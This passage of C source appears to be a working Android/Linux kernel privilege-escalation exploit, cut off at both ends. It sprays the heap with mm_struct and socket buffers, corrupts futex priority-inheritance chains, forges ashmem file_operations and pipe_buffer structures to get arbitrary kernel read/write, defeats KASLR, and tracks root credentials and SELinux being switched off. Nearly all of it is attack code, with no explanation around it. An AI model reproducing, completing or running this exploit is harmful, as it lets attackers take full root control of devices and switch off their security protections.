STAGE0_POST_SYSCALL_HOLD #define STAGE0_POST_SYSCALL_HOLD 20000 #endif #define STAGE0_WAIT_SECONDS 30 #define STAGE0_MAX_ATTEMPTS 6 #define STAGE0_LINEAR_BASE 0xffffff8000010000ULL #define STAGE0_NFULNL_LOGGER 0xffffff80020129d0ULL #define STAGE0_LOGGERS_0_1 0xffffff8002012940ULL #define STAGE0_RANDOM_BOOT_ID_DATA 0xffffff8002137d08ULL #define STAGE0_INIT_TASK 0xffffff800201f640ULL #define STAGE0_SYSCTL_BOOTID 0xffffff800227b498ULL #define STAGE0_ROOT_TASK_GROUP 0xffffff8002208580ULL #define PAGE_PAYLOAD_FOPS 0 #define PAGE_PAYLOAD_STAGE0 1 struct sched_attr { uint32_t size; uint32_t sched_policy; uint64_t sched_flags; int32_t sched_nice; uint32_t sched_priority; uint64_t sched_runtime; uint64_t sched_deadline; uint64_t sched_period; }; static struct kernelsnitch_shared_state *ks; static size_t mm_objs_per_slab; static unsigned char *skb_buf; static int reclaim_sv[2] = {-1, -1}; static pid_t pipe_prepare_child = -1; static int pipe_objects_ready; static uintptr_t page_base; static uintptr_t fake_lock; static uintptr_t fake_w0; static uintptr_t fake_task; static uintptr_t fake_parent; static uintptr_t fake_right; static uintptr_t fake_left; static uintptr_t fake_fops; static uintptr_t binwrite_target; static uint32_t f_wait; static uint32_t f_pi_target; static uint32_t f_pi_chain; static atomic_int waiter_ready; static atomic_int waiter_waiting; static atomic_int owner_started; static atomic_int owner_chain_done; static atomic_int route_done; static atomic_int waiter_tid; static atomic_int punch_consume_go; static atomic_int punch_consume_stop; static atomic_int punch_go; static atomic_int punch_stop; static atomic_int punch_phase; static atomic_int consumer_calls; static atomic_int consumer_success; static atomic_int cfi_stage_done; static atomic_int pipe_prepare_request; static atomic_int pipe_prepare_done; static ssize_t cfi_write_ret = -1; static ssize_t cfi_read_ret = -1; static ssize_t cfi_read_slot_ret = -1; static ssize_t cfi_owner_ret = -1; static ssize_t cfi_restore_ret = -1; static uint64_t fops_before; static uint64_t fops_after; static int root_child_done; static char ashmem_path[256] = "/dev/ashmem"; static uint8_t selinux_before = 0xff; static uint8_t selinux_after = 0xff; static uint32_t root_uid_before = 0xffffffff; static uint32_t root_uid_after = 0xffffffff; static uint64_t capable_head_before; static uint64_t capable_head_after; static uint64_t init_tasks_prev; static uint64_t last_task_guess; static int setgid_ret = -1; static int setuid_ret = -1; static int setenforce_ret = -1; static int setenforce_errno = 0; static int cfi_attempts; static int pipe_stage_attempts; static int cfi_dirty_seen; static int cfi_last_step; static int cfi_last_errno; static uint64_t kmalloc_pipe_cache; static uint64_t kmalloc_normal_1k_cache; static uint64_t kmalloc_normal_2k_cache; static uint64_t kmalloc_cgroup_1k_cache; static uint64_t kmalloc_cgroup_2k_cache; static uint64_t candidate_slab_cache; static int pipe_cache_gate_ok; static int pipe_cache_page_index = -1; static int pipe_cache_slot_hit = -1; static uint64_t pipe_page_slab_cache[PIPE_CANDIDATE_PAGES]; static uint32_t pipe_page_type[PIPE_CANDIDATE_PAGES]; static int pipe_fds_n[PIPE_N_COUNT][2]; static int pipe_fds_c[PIPE_C_COUNT][2]; static int pipe_fds_e[PIPE_E_COUNT][2]; static int pipe_fds_drain[PIPE_DRAIN][2]; static int pipe_fds_reclaim[PIPE_RECLAIM][2]; static uintptr_t pipebuf_page_base; static uintptr_t pipebuf_addr; static int pipebuf_pipe_idx = -1; static char physrw_readback[64]; static char physrw_after_write[64]; static int physrw_read_ok; static int physrw_write_ok; static int pipe_scan_vmemmap; static int pipe_scan_ops; static int pipe_scan_len; static int pipe_probe_found; static uint64_t pipe_probe_page; static uint64_t pipe_probe_ops; static uint64_t pipe_probe_private; static uint32_t pipe_probe_len; static uint32_t pipe_probe_flags; static uint64_t pipe_scan_first_page; static uint64_t pipe_scan_first_ops; static uint64_t pipe_scan_q0; static uint64_t pipe_scan_q1; static uint64_t pipe_scan_q2; static uint64_t pipe_scan_q3; static uint32_t pipe_scan_first_len; static uint32_t pipe_scan_first_flags; static uint64_t physrw_read64_before; static uint64_t physrw_read64_after; static uint64_t physrw_write64_value; static int physrw_read64_ok; static int physrw_write64_ok; static int kaslr_done; static int kaslr_step; static uint64_t kaslr_fops_alias; static uint64_t kaslr_open_ptr; static uint64_t kaslr_ioctl_ptr; static uint64_t kaslr_mmap_ptr; static uint64_t kaslr_release_ptr; static uint64_t kaslr_show_fdinfo_ptr; static uint64_t kaslr_base; static uint64_t kaslr_slide; static uint64_t kaslr_expected_ioctl; static uint64_t kaslr_expected_mmap; static uint64_t kaslr_expected_release; static uint64_t kaslr_expected_show_fdinfo; static uint64_t stage0_bootid_before; static uint64_t stage0_bootid_after; static uint64_t stage0_bootid_want; static ssize_t stage0_bootid_restore_ret = -1; static uint64_t current_task_addr; static uint64_t current_cred_addr; static uint64_t current_real_cred_addr; static uint64_t current_cred_security_addr; static uint64_t current_real_cred_security_addr; static uint32_t cred_sid_before = 0xffffffff; static uint32_t cred_sid_after = 0xffffffff; static uint32_t real_cred_sid_before = 0xffffffff; static uint32_t real_cred_sid_after = 0xffffffff; static uint32_t target_cred_osid = SELINUX_KERNEL_SID; static uint32_t target_cred_sid = SELINUX_KERNEL_SID; static int task_walk_iters; static uint64_t task_walk_last_entry; static uint32_t task_walk_last_pid; static uint32_t task_walk_last_tgid; static uint32_t found_task_pid; static uint32_t found_task_tgid; static char found_task_comm[TASK_COMM_LEN + 1]; static pid_t root_child_pid = -1; static int root_ready_pipe[2] = {-1, -1}; static struct root_shared *root_shared; static uint32_t stage0_f_wait; static uint32_t stage0_f_pi_target; static uint32_t stage0_f_pi_chain; static atomic_int stage0_waiter_ready; static atomic_int stage0_waiter_waiting; static atomic_int stage0_owner_started; static atomic_int stage0_route_done; static atomic_int stage0_waiter_tid; static atomic_int stage0_consume_calls; static atomic_int stage0_consume_go; static atomic_int stage0_consume_stop; struct root_report { uint32_t uid_before; uint32_t uid_after; uint32_t gid_after; uint32_t euid_after; uint32_t egid_after; int setgid_ret; int setgid_errno; int setuid_ret; int setuid_errno; int setenforce_ret; int setenforce_errno; }; struct root_shared { atomic_int go; atomic_int done; struct root_report report; }; struct mm_ctx { size_t mm_cnt; pid_t *childs; int *memfds; }; static struct mm_ctx prepare_ctx; static struct mm_ctx spray_ctx; static struct mm_ctx pre_ctx; static struct mm_ctx post_ctx; static pid_t child_leak; static int memfd_leak; struct punch_state { int fd; size_t page_size; }; static void stage0_tcp_stack_copy(void); struct user_pipe_buffer { uint64_t page; uint32_t offset; uint32_t len; uint64_t ops; uint32_t flags; uint32_t pad; uint64_t private; }; static ssize_t configfs_write_once(int fd, uintptr_t target, const void *data, size_t len); static ssize_t configfs_read_once(int fd, uintptr_t target, void *data, size_t len); static uint64_t kernel_read64(int fd, uintptr_t target); static ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len); static ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len); static int install_child_root(int fd); static int install_pipe_physrw(int fd); static int try_cfi_stage(void); static void disable_rseq_for_thread(void) { return; } static long futex_op(uint32_t *uaddr, int op, uint32_t val, const struct timespec *timeout, uint32_t *uaddr2, uint32_t val3) { return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3); } static long sched_setattr_tid(int tid, int nice_value) { struct sched_attr attr; memset(&attr, 0, sizeof(attr)); attr.size = sizeof(attr); attr.sched_policy = SCHED_OTHER; attr.sched_nice = nice_value; return syscall(SYS_sched_setattr, tid, &attr, 0); } static int try_ashmem_path(const char *path) { int fd = open(path, O_RDWR | O_CLOEXEC); if (fd < 0) { return 0; } close(fd); snprintf(ashmem_path, sizeof(ashmem_path), "%s", path); return 1; } static void init_ashmem_path(void) { char boot_id[128]; int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC); if (fd >= 0) { ssize_t n = read(fd, boot_id, sizeof(boot_id) - 1); close(fd); if (n > 0) { boot_id[n] = 0; boot_id[strcspn(boot_id, "\r\n")] = 0; char path[256]; snprintf(path, sizeof(path), "/dev/ashmem%s", boot_id); if (try_ashmem_path(path)) { pr_success("ashmem path=%s\n", ashmem_path); return; } } } if (try_ashmem_path("/dev/ashmem")) { pr_success("ashmem path=%s\n", ashmem_path); return; } pr_error("no usable ashmem device\n"); } static int open_ashmem_device(void) { return SYSCHK(open(ashmem_path, O_RDWR | O_CLOEXEC)); } static int has_zero_byte(uintptr_t value) { for (int i = 0; i < 8; i++) { if (((value >> (i * 8)) & 0xff) == 0) { return 1; } } return 0; } static uintptr_t p0_data_alias(uintptr_t image_addr) { uintptr_t off = image_addr - KIMAGE_TEXT_BASE; uintptr_t phys = P0_KERNEL_PHYS_LOAD + off; return ((phys - P0_PHYS_OFFSET) | P0_PAGE_OFFSET); } static uintptr_t data_addr(uintptr_t image_addr) { return p0_data_alias(image_addr); } static uintptr_t kaslr_image_addr(uintptr_t image_addr) { if (!kaslr_done) { return image_addr; } return kaslr_base + (image_addr - KIMAGE_TEXT_BASE); } static uintptr_t text_addr(uintptr_t image_addr) { return kaslr_image_addr(image_addr); } static uintptr_t stage0_canon_addr(uintptr_t data_alias) { return kaslr_base + (data_alias - STAGE0_LINEAR_BASE); } static uintptr_t canon_addr(uintptr_t image_addr) { return text_addr(image_addr); } static void put64(unsigned char *p, size_t off, uint64_t value) { memcpy(p + off, &value, sizeof(value)); } static void put32(unsigned char *p, size_t off, uint32_t value) { memcpy(p + off, &value, sizeof(value)); } static void put_blob_no_zeros(int fd, const unsigned char *blob, size_t len) { char name[ASHMEM_NAME_LEN]; memset(name, 0x41, sizeof(name)); for (size_t i = 0; i < len; i++) { name[i] = blob[i] ? blob[i] : 1; } name[len] = 0; SYSCHK(ioctl(fd, ASHMEM_SET_NAME, name)); } static void put_blob_zero_at(int fd, const unsigned char *blob, size_t pos) { char name[ASHMEM_NAME_LEN]; memset(name, 0x41, sizeof(name)); for (size_t i = 0; i < pos; i++) { name[i] = blob[i] ? blob[i] : 1; } name[pos] = 0; SYSCHK(ioctl(fd, ASHMEM_SET_NAME, name)); } static void set_ashmem_name_blob(int fd, const unsigned char *blob, size_t len) { put_blob_no_zeros(fd, blob, len); for (size_t i = len; i > 0; i--) { if (blob[i - 1] == 0) { put_blob_zero_at(fd, blob, i - 1); } } } static int try_put_blob_no_zeros(int fd, const unsigned char *blob, size_t len) { char name[ASHMEM_NAME_LEN]; memset(name, 0x41, sizeof(name)); for (size_t i = 0; i < len; i++) { name[i] = blob[i] ? blob[i] : 1; } name[len] = 0; return ioctl(fd, ASHMEM_SET_NAME, name); } static int try_put_blob_zero_at(int fd, const unsigned char *blob, size_t pos) { char name[ASHMEM_NAME_LEN]; memset(name, 0x41, sizeof(name)); for (size_t i = 0; i < pos; i++) { name[i] = blob[i] ? blob[i] : 1; } name[pos] = 0; return ioctl(fd, ASHMEM_SET_NAME, name); } static int try_set_ashmem_name_blob(int fd, const unsigned char *blob, size_t len) { if (try_put_blob_no_zeros(fd, blob, len) != 0) { return -1; } for (size_t i = len; i > 0; i--) { if (blob[i - 1] == 0 && try_put_blob_zero_at(fd, blob, i - 1) != 0) { return -1; } } return 0; } static pid_t clone_child(void) { pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0)); if (child == 0) { SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL)); if (getppid() == 1) { _exit(0); } pin_to_core(CORE); for (;;) { pause(); } } return child; } static pid_t clone_leak_child(void) { pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0)); if (child == 0) { kernelsnitch_find_collisions(ks); exit(0); } return child; } static int open_memfd(pid_t child) { char path[64]; snprintf(path, sizeof(path), "/proc/%d/mem", child); return SYSCHK(open(path, O_RDONLY)); } static void kill_child(pid_t child) { if (child <= 0) { return; } SYSCHK(kill(child, SIGKILL)); SYSCHK(waitpid(child, NULL, 0)); } static void close_reclaim_sockets(void) { for (int i = 0; i < 2; i++) { if (reclaim_sv[i] >= 0) { close(reclaim_sv[i]); reclaim_sv[i] = -1; } } } static void close_ctx_memfds(struct mm_ctx *ctx) { for (size_t i = 0; i < ctx->mm_cnt; i++) { if (ctx->memfds[i] > 0) { close(ctx->memfds[i]); ctx->memfds[i] = -1; } } } static void free_ctx_storage(struct mm_ctx *ctx) { free(ctx->childs); free(ctx->memfds); ctx->childs = NULL; ctx->memfds = NULL; ctx->mm_cnt = 0; } static void cleanup_page_prepare_state(void) { close_ctx_memfds(&prepare_ctx); close_ctx_memfds(&spray_ctx); close_ctx_memfds(&pre_ctx); close_ctx_memfds(&post_ctx); if (memfd_leak > 0) { close(memfd_leak); memfd_leak = -1; } free_ctx_storage(&prepare_ctx); free_ctx_storage(&spray_ctx); free_ctx_storage(&pre_ctx); free_ctx_storage(&post_ctx); free(skb_buf); skb_buf = NULL; } static int clone_memfd(void) { pid_t child = clone_child(); int fd = open_memfd(child); kill_child(child); return fd; } static void prepare_ctxs(void) { prepare_ctx.mm_cnt = 32 * mm_objs_per_slab; prepare_ctx.childs = calloc(sizeof(pid_t), prepare_ctx.mm_cnt); prepare_ctx.memfds = calloc(sizeof(int), prepare_ctx.mm_cnt); spray_ctx.mm_cnt = (1 + MM_PARTIALS) * mm_objs_per_slab; spray_ctx.childs = calloc(sizeof(pid_t), spray_ctx.mm_cnt); spray_ctx.memfds = calloc(sizeof(int), spray_ctx.mm_cnt); pre_ctx.mm_cnt = mm_objs_per_slab - 1; pre_ctx.childs = calloc(sizeof(pid_t), pre_ctx.mm_cnt); pre_ctx.memfds = calloc(sizeof(int), pre_ctx.mm_cnt); post_ctx.mm_cnt = mm_objs_per_slab; post_ctx.childs = calloc(sizeof(pid_t), post_ctx.mm_cnt); post_ctx.memfds = calloc(sizeof(int), post_ctx.mm_cnt); } static int prepare_skb_payload(uintptr_t base, int payload_mode) { memset(skb_buf, 0, SKB_SEND_SIZE); fake_lock = base + LOCK_OFF; fake_w0 = base + W0_OFF; fake_task = base + FAKE_TASK_OFF; fake_parent = data_addr(ASHMEM_MISC_FOPS) - 8; fake_fops = base + FOPS_OFF; fake_right = fake_fops; fake_left = base + LEFT_OFF; binwrite_target = base + FOPS_OFF + 0x700; if (payload_mode == PAGE_PAYLOAD_FOPS && (has_zero_byte(fake_lock) || has_zero_byte(fake_parent) || has_zero_byte(fake_right) || has_zero_byte(fake_left) || has_zero_byte(fake_fops))) { pr_warning("workspace candidate rejected\n"); return 0; } uintptr_t write_pc = fake_fops; uintptr_t write_left = data_addr(ASHMEM_MISC_FOPS); if (payload_mode == PAGE_PAYLOAD_STAGE0) { write_pc = STAGE0_LOGGERS_0_1; write_left = STAGE0_RANDOM_BOOT_ID_DATA; pr_info("stage0 rb write pc=%016lx left=%016lx\n", (unsigned long)write_pc, (unsigned long)write_left); } for (size_t chunk = 0; chunk < SKB_SEND_SIZE; chunk += ORDER3_SIZE) { unsigned char *p = skb_buf + chunk + SKB_FRAG_BIAS; put32(p, LOCK_OFF + 0x00, 0); put64(p, LOCK_OFF + 0x08, fake_w0); put64(p, LOCK_OFF + 0x10, fake_w0); put64(p, LOCK_OFF + 0x18, fake_task | 1); put64(p, W0_OFF + 0x00, 1); put64(p, W0_OFF + 0x08, 0); put64(p, W0_OFF + 0x10, 0); put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc); put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x08, 0); put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left); put64(p, W0_OFF + FAKE_WAITER_TASK_OFF, STAGE0_INIT_TASK); put64(p, W0_OFF + FAKE_WAITER_LOCK_OFF, fake_lock); put32(p, W0_OFF + FAKE_WAITER_WAKE_STATE_OFF, 0); put32(p, W0_OFF + FAKE_WAITER_PRIO_OFF, 0); put64(p, W0_OFF + FAKE_WAITER_DEADLINE_OFF, 0); put64(p, W0_OFF + FAKE_WAITER_WW_CTX_OFF, 0); put32(p, FAKE_TASK_OFF + FAKE_TASK_USAGE_OFF, 0x100); put32(p, FAKE_TASK_OFF + FAKE_TASK_PRIO_OFF, FAKE_TASK_PRIO); put32(p, FAKE_TASK_OFF + FAKE_TASK_NORMAL_PRIO_OFF, FAKE_TASK_PRIO); put64(p, FAKE_TASK_OFF + FAKE_TASK_SCHED_TASK_GROUP_OFF, STAGE0_ROOT_TASK_GROUP); put32(p, FAKE_TASK_OFF + FAKE_TASK_PI_LOCK_OFF, 0); put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF, 0); put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_WAITERS_OFF + 0x08, 0); put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_TOP_TASK_OFF, 0); put64(p, FAKE_TASK_OFF + FAKE_TASK_PI_BLOCKED_ON_OFF, 0); put64(p, RIGHT_OFF + 0x00, fake_parent); put64(p, RIGHT_OFF + 0x08, 0); put64(p, RIGHT_OFF + 0x10, 0); put64(p, LEFT_OFF + 0x00, fake_parent); put64(p, LEFT_OFF + 0x08, 0); put64(p, LEFT_OFF + 0x10, 0); if (payload_mode == PAGE_PAYLOAD_FOPS) { put64(p, FOPS_OFF + FOPS_READ_ITER_OFF, text_addr(CONFIGFS_READ_ITER)); put64(p, FOPS_OFF + FOPS_WRITE_ITER_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER)); put64(p, FOPS_OFF + FOPS_IOCTL_OFF, text_addr(ASHMEM_IOCTL)); put64(p, FOPS_OFF + FOPS_COMPAT_IOCTL_OFF, text_addr(ASHMEM_COMPAT_IOCTL)); put64(p, FOPS_OFF + FOPS_MMAP_OFF, text_addr(ASHMEM_MMAP)); put64(p, FOPS_OFF + FOPS_OPEN_OFF, text_addr(ASHMEM_OPEN)); put64(p, FOPS_OFF + FOPS_RELEASE_OFF, text_addr(ASHMEM_RELEASE)); put64(p, FOPS_OFF + FOPS_SPLICE_READ_OFF, text_addr(COPY_SPLICE_READ)); put64(p, FOPS_OFF + FOPS_SHOW_FDINFO_OFF, text_addr(ASHMEM_SHOW_FDINFO)); put64(p, FOPS_OFF + 0x10, fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF); } } return 1; } static uintptr_t prepare_kernel_page(int payload_mode) { close_reclaim_sockets(); mm_objs_per_slab = ORDER3_SIZE / MM_STRUCT_SZ; prepare_ctxs(); pr_info("prepare_kernel_page objs_per_slab=%zu prepare=%zu spray=%zu pre=%zu post=%zu\n", mm_objs_per_slab, prepare_ctx.mm_cnt, spray_ctx.mm_cnt, pre_ctx.mm_cnt, post_ctx.mm_cnt); skb_buf = malloc(SKB_SEND_SIZE); memset(skb_buf, 0x41, SKB_SEND_SIZE); for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) { prepare_ctx.childs[i] = clone_child(); prepare_ctx.memfds[i] = open_memfd(prepare_ctx.childs[i]); } for (size_t i = 0; i < spray_ctx.mm_cnt; i++) { spray_ctx.childs[i] = clone_child(); spray_ctx.memfds[i] = open_memfd(spray_ctx.childs[i]); } ks = kernelsnitch_setup(MM_STRUCT_SZ, MM_ORDER, sysconf(_SC_NPROCESSORS_ONLN), 8, 0, 0); for (size_t i = 0; i < pre_ctx.mm_cnt; i++) { pre_ctx.childs[i] = clone_child(); } child_leak = clone_leak_child(); for (size_t i = 0; i < post_ctx.mm_cnt; i++) { post_ctx.childs[i] = clone_child(); } for (size_t i = 0; i < pre_ctx.mm_cnt; i++) { pre_ctx.memfds[i] = open_memfd(pre_ctx.childs[i]); } memfd_leak = open_memfd(child_leak); for (size_t i = 0; i < post_ctx.mm_cnt; i++) { post_ctx.memfds[i] = open_memfd(post_ctx.childs[i]); } for (size_t i = 0; i < pre_ctx.mm_cnt; i++) { kill_child(pre_ctx.childs[i]); } for (size_t i = 0; i < post_ctx.mm_cnt; i++) { kill_child(post_ctx.childs[i]); } for (size_t i = 0; i < spray_ctx.mm_cnt; i++) { kill_child(spray_ctx.childs[i]); } SYSCHK(waitpid(child_leak, NULL, 0)); if (!kernelsnitch_found_collisions(ks)) { pr_error("workspace scan failed\n"); } kernelsnitch_bruteforce(ks); uintptr_t leaked = ks->mm_struct; if (leaked == (uintptr_t)-1) { pr_error("workspace probe failed\n"); } uintptr_t base = leaked & ~(ORDER3_SIZE - 1); if (!prepare_skb_payload(base, payload_mode)) { kernelsnitch_cleanup(ks); ks = NULL; for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) { kill_child(prepare_ctx.childs[i]); } cleanup_page_prepare_state(); return 0; } SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, reclaim_sv)); int pcp_shaping_sv[2]; SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, pcp_shaping_sv)); struct iovec iov; memset(&iov, 0, sizeof(iov)); iov.iov_base = skb_buf; iov.iov_len = SKB_SEND_SIZE; struct msghdr msg; memset(&msg, 0, sizeof(msg)); msg.msg_iov = &iov; msg.msg_iovlen = 1; SYSCHK(sendmsg(pcp_shaping_sv[0], &msg, 0)); pin_to_core(CORE); sched_yield(); sched_yield(); sched_yield(); sched_yield(); for (size_t i = 0; i < pre_ctx.mm_cnt; i++) { SYSCHK(close(pre_ctx.memfds[i])); pre_ctx.memfds[i] = -1; } for (size_t i = 0; i < post_ctx.mm_cnt - 1; i++) { SYSCHK(close(post_ctx.memfds[i])); post_ctx.memfds[i] = -1; } for (size_t i = 0; i < spray_ctx.mm_cnt; i += mm_objs_per_slab) { SYSCHK(close(spray_ctx.memfds[i])); spray_ctx.memfds[i] = -1; } SYSCHK(close(pcp_shaping_sv[0])); SYSCHK(close(pcp_shaping_sv[1])); sched_yield(); sched_yield(); sched_yield(); sched_yield(); SYSCHK(close(memfd_leak)); memfd_leak = -1; for (int i = 0; i < SKB_RECLAIM_SENDS; i++) { SYSCHK(sendmsg(reclaim_sv[0], &msg, 0)); } kernelsnitch_cleanup(ks); ks = NULL; for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) { SYSCHK(close(prepare_ctx.memfds[i])); prepare_ctx.memfds[i] = -1; kill_child(prepare_ctx.childs[i]); } return base; } static uintptr_t prepare_good_kernel_page(int payload_mode) { for (int attempt = 1; attempt <= KERNEL_PAGE_SETUP_ATTEMPTS; attempt++) { uintptr_t base = prepare_kernel_page(payload_mode); if (base) { return base; } pr_warning("workspace retry %d/%d\n", attempt, KERNEL_PAGE_SETUP_ATTEMPTS); } pr_error("workspace preparation failed\n"); return 0; } static void init_ctx(struct mm_ctx *ctx, size_t cnt) { ctx->mm_cnt = cnt; ctx->childs = calloc(sizeof(pid_t), cnt); ctx->memfds = calloc(sizeof(int), cnt); } static void resize_pipe_slots(int pipefd[2], size_t slots) { SYSCHK(fcntl(pipefd[0], F_SETPIPE_SZ, slots << 12)); } static void make_pipe_object(int pipefd[2]) { SYSCHK(pipe(pipefd)); resize_pipe_slots(pipefd, 2); } static void alloc_pipe_object(int pipefd[2]) { resize_pipe_slots(pipefd, PIPE_BUFFER_SLOTS); } static void free_pipe_object(int pipefd[2]) { resize_pipe_slots(pipefd, 2); } static void shape_pipe_cache_once(void) { for (size_t i = 0; i < PIPE_N_COUNT; i++) { alloc_pipe_object(pipe_fds_n[i]); } for (size_t i = 0; i < PIPE_C_COUNT; i++) { alloc_pipe_object(pipe_fds_c[i]); } for (size_t i = 0; i < PIPE_E_COUNT; i++) { alloc_pipe_object(pipe_fds_e[i]); } for (size_t i = 0; i < PIPE_N_COUNT; i += PIPE_OBJS_PER_SLAB) { free_pipe_object(pipe_fds_n[i]); } for (size_t i = 0; i < PIPE_E_COUNT; i++) { free_pipe_object(pipe_fds_e[i]); } for (size_t i = 0; i < PIPE_C_COUNT; i += PIPE_OBJS_PER_SLAB) { free_pipe_object(pipe_fds_c[i]); } } static void shape_pipe_cache(void) { for (int round = 0; round < PIPE_SHAPE_ROUNDS; round++) { for (size_t i = 0; i < PIPE_N_COUNT; i++) { free_pipe_object(pipe_fds_n[i]); } for (size_t i = 0; i < PIPE_C_COUNT; i++) { free_pipe_object(pipe_fds_c[i]); } for (size_t i = 0; i < PIPE_E_COUNT; i++) { free_pipe_object(pipe_fds_e[i]); } shape_pipe_cache_once(); } } static uintptr_t prepare_pipe_buffer_page_child(void) { struct mm_ctx prep; struct mm_ctx spray; struct mm_ctx pre; struct mm_ctx post; size_t objs_per_slab = ORDER3_SIZE / MM_STRUCT_SZ; init_ctx(&prep, 32 * objs_per_slab); init_ctx(&spray, (1 + MM_PARTIALS) * objs_per_slab); init_ctx(&pre, objs_per_slab - 1); init_ctx(&post, objs_per_slab); pr_info("prepare_pipe_buffer_page objs_per_slab=%zu prep=%zu spray=%zu pre=%zu post=%zu\n", objs_per_slab, prep.mm_cnt, spray.mm_cnt, pre.mm_cnt, post.mm_cnt); for (size_t i = 0; i < prep.mm_cnt; i++) { prep.childs[i] = -1; prep.memfds[i] = clone_memfd(); } for (size_t i = 0; i < spray.mm_cnt; i++) { spray.childs[i] = -1; spray.memfds[i] = clone_memfd(); } ks = kernelsnitch_setup(MM_STRUCT_SZ, MM_ORDER, sysconf(_SC_NPROCESSORS_ONLN), 8, 0, 0); for (size_t i = 0; i < pre.mm_cnt; i++) { pre.childs[i] = -1; pre.memfds[i] = clone_memfd(); } pid_t leak_child = clone_leak_child(); for (size_t i = 0; i < post.mm_cnt; i++) { post.childs[i] = -1; post.memfds[i] = clone_memfd(); } int leak_memfd = open_memfd(leak_child); for (size_t i = 0; i < pre.mm_cnt; i++) { kill_child(pre.childs[i]); } for (size_t i = 0; i < post.mm_cnt; i++) { kill_child(post.childs[i]); } for (size_t i = 0; i < spray.mm_cnt; i++) { kill_child(spray.childs[i]); } SYSCHK(waitpid(leak_child, NULL, 0)); if (!kernelsnitch_found_collisions(ks)) { pr_error("stage 3 scan failed\n"); } unsigned char *buf = malloc(SKB_SEND_SIZE); memset(buf, 0x50, SKB_SEND_SIZE); int skb_sv[2]; int pcp_sv[2]; SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skb_sv)); SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, pcp_sv)); struct iovec iov; memset(&iov, 0, sizeof(iov)); iov.iov_base = buf; iov.iov_len = SKB_SEND_SIZE; struct msghdr msg; memset(&msg, 0, sizeof(msg)); msg.msg_iov = &iov; msg.msg_iovlen = 1; SYSCHK(sendmsg(pcp_sv[0], &msg, 0)); pin_to_core(CORE); sched_yield(); sched_yield(); sched_yield(); sched_yield(); for (size_t i = 0; i < pre.mm_cnt; i++) { SYSCHK(close(pre.memfds[i])); } for (size_t i = 0; i < post.mm_cnt - 1; i++) { SYSCHK(close(post.memfds[i])); } for (size_t i = 0; i < spray.mm_cnt; i += objs_per_slab) { SYSCHK(close(spray.memfds[i])); } SYSCHK(close(pcp_sv[0])); SYSCHK(close(pcp_sv[1])); sched_yield(); sched_yield(); sched_yield(); sched_yield(); SYSCHK(close(leak_memfd)); SYSCHK(sendmsg(skb_sv[0], &msg, 0)); kernelsnitch_bruteforce(ks); uintptr_t leaked = kernelsnitch_cleanup(ks); if (leaked == (uintptr_t)-1) { pr_error("stage 3 candidate search failed\n"); } uintptr_t base = leaked & ~(ORDER3_SIZE - 1); shape_pipe_cache(); for (size_t i = 0; i < PIPE_DRAIN; i++) { alloc_pipe_object(pipe_fds_drain[i]); } pin_to_core(CORE); SYSCHK(close(skb_sv[0])); SYSCHK(close(skb_sv[1])); for (size_t i = 0; i < PIPE_RECLAIM; i++) { alloc_pipe_object(pipe_fds_reclaim[i]); } free(buf); return base; } static uintptr_t prepare_pipe_buffer_page(void) { if (PIPE_SHAPE_ROUNDS != 0) { for (size_t i = 0; i < PIPE_N_COUNT; i++) { make_pipe_object(pipe_fds_n[i]); } for (size_t i = 0; i < PIPE_C_COUNT; i++) { make_pipe_object(pipe_fds_c[i]); } for (size_t i = 0; i < PIPE_E_COUNT; i++) { make_pipe_object(pipe_fds_e[i]); } } for (size_t i = 0; i < PIPE_DRAIN; i++) { make_pipe_object(pipe_fds_drain[i]); } for (size_t i = 0; i < PIPE_RECLAIM; i++) { make_pipe_object(pipe_fds_reclaim[i]); } pipe_objects_ready = 1; int result_pipe[2]; SYSCHK(pipe(result_pipe)); pid_t child = SYSCHK(fork()); if (child == 0) { SYSCHK(close(result_pipe[0])); uintptr_t base = prepare_pipe_buffer_page_child(); SYSCHK(write(result_pipe[1], &base, sizeof(base))); for (;;) { sleep(60); } } pipe_prepare_child = child; SYSCHK(close(result_pipe[1])); uintptr_t base = 0; ssize_t got = read(result_pipe[0], &base, sizeof(base)); SYSCHK(close(result_pipe[0])); if (got != (ssize_t)sizeof(base)) { pr_error("stage 3 child did not report candidate\n"); } return base; } static void reset_pipe_attempt(void) { if (pipe_prepare_child > 0) { kill(pipe_prepare_child, SIGKILL); waitpid(pipe_prepare_child, NULL, 0); pipe_prepare_child = -1; } if (pipe_objects_ready) { for (size_t i = 0; i < PIPE_DRAIN; i++) { close(pipe_fds_drain[i][0]); close(pipe_fds_drain[i][1]); } for (size_t i = 0; i < PIPE_RECLAIM; i++) { close(pipe_fds_reclaim[i][0]); close(pipe_fds_reclaim[i][1]); } pipe_objects_ready = 0; } pipebuf_page_base = 0; pipebuf_addr = 0; pipebuf_pipe_idx = -1; pipe_cache_gate_ok = 0; pipe_cache_page_index = -1; pipe_cache_slot_hit = -1; pipe_probe_found = 0; pipe_probe_page = 0; pipe_probe_ops = 0; pipe_probe_private = 0; pipe_probe_len = 0; pipe_probe_flags = 0; candidate_slab_cache = 0; atomic_store(&pipe_prepare_request, 0); atomic_store(&pipe_prepare_done, 0); } static void *stage0_consumer_thread(void *arg __attribute__((unused))) { for (;;) { if 